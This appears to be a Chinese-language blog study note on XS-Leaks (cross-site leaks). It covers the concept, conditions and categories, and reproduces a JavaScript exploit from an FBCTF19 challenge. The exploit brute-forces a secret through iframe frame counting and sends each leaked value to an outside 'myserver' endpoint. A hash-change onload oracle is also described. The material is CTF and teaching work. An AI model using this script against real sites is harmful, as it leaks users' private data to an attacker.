XS-Leaks

參考:

https://xsleaks.dev/

https://book.hacktricks.xyz/pentesting-web/xs-search

簡介

是什麼?

XS-Leaks 全稱 Cross-site leaks。和 csrf 較爲相似,不過主要區別是 csrf 是用來讓受害者執行某些操作,而xs-leaks 是用來探測用戶敏感信息。

使用場景?

通常必須具有查找功能,並且有無查詢結果之間的差異性可被側信道探測到。

一個真實案例:https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549

一個ctf:https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README

漏洞本質?

是一類由網絡平臺內置的側信道衍生出來的漏洞,濫用網絡通信過程中的合法機制來推斷用戶的信息。

瀏覽器提供各種各樣的功能來支持不同的網絡應用程序之間的互動;例如,它允許一個網站加載子資源,導航,或發送消息給另一個應用程序。雖然這些行爲通常受到網絡平臺內置的安全機制(如同源策略)的限制,但 XS-Leaks 利用了網站之間互動過程中暴露的小塊信息。

根據這些信息來源,XS-Leaks 通常分爲以下幾種類型:

  1. 瀏覽器的 api (e.g. Frame Counting and Timing Attacks)
  2. 瀏覽器的實現細節和bugs (e.g. Connection Pooling and typeMustMatch)
  3. 硬件bugs (e.g. Speculative Execution Attacks 4)
使用條件?
  1. 有無查詢結果之間的差異性可被某個側信道探測到。

    注意,雖然某些 csrf 可以獲取到請求的響應。但當存在同源策略時,csrf 就失效了,但 xs-leaks 可以利用側信道判斷是否成功完成請求。但也只能判斷是否成功獲取到,同樣無法獲取到具體的響應內容。所以來說通常出現的場景是類似查找功能,判斷某個url是否成功訪問到。

  2. 如何觸發。和 csrf POST 型一樣,需要誘使受害者觸發執行 js 代碼。所以特定功能數據包必須沒有 csrf token 的保護。

如何防禦?

因爲這個漏洞的確使用限制比較多,漏洞危害相對較小,所以關於防禦就暫時不看。放一個鏈接,以便後期學習。

https://xsleaks.dev/docs/defenses/

案例

簡單記錄幾個利用的方式。以便後期回顧,寫的有點凌亂,感興趣請看原文。https://xsleaks.dev/

  1. # contentWindow.frames.length
    var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
    var charLen = chars.length;
    var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
    var x = document.createElement('iframe');
    
    function search(leak, charCounter) {
        var curChar = chars[charCounter];
        //Chek if the character is valid
        x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
        document.body.appendChild(x);
        console.log("leak = " + leak + curChar);
        //When the page inside the iframe is loaded
        x.onload = () => {
        //Check the number of iframes inside
            if (x.contentWindow.frames.length != 0) {
            // If 1 or more, then, the character was valid
                fetch('http://myserver/leak?' + escape(leak), {
                    method: "POST",
                    mode: "no-cors",
                    credentials: "include"
                });
                leak += curChar
            }
            search(leak, (charCounter + 1) % chars.length);
        }
    }
    
    function exploit() {
        search("fb{", 0);
    }
    
    exploit();
    
  2. URL1: www.attacker.com/xssearch#try1
    URL2: www.attacker.com/xssearch#try2
    If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
    
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章